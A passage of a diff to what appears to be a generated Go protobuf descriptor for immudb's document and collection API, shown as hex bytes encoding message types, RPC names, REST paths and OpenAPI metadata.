0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, - 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, + 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, + 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, + 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, + 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, + 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, + 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, - 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, - 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, - 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, - 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, - 0x0c, 0x0a, 0x0a, 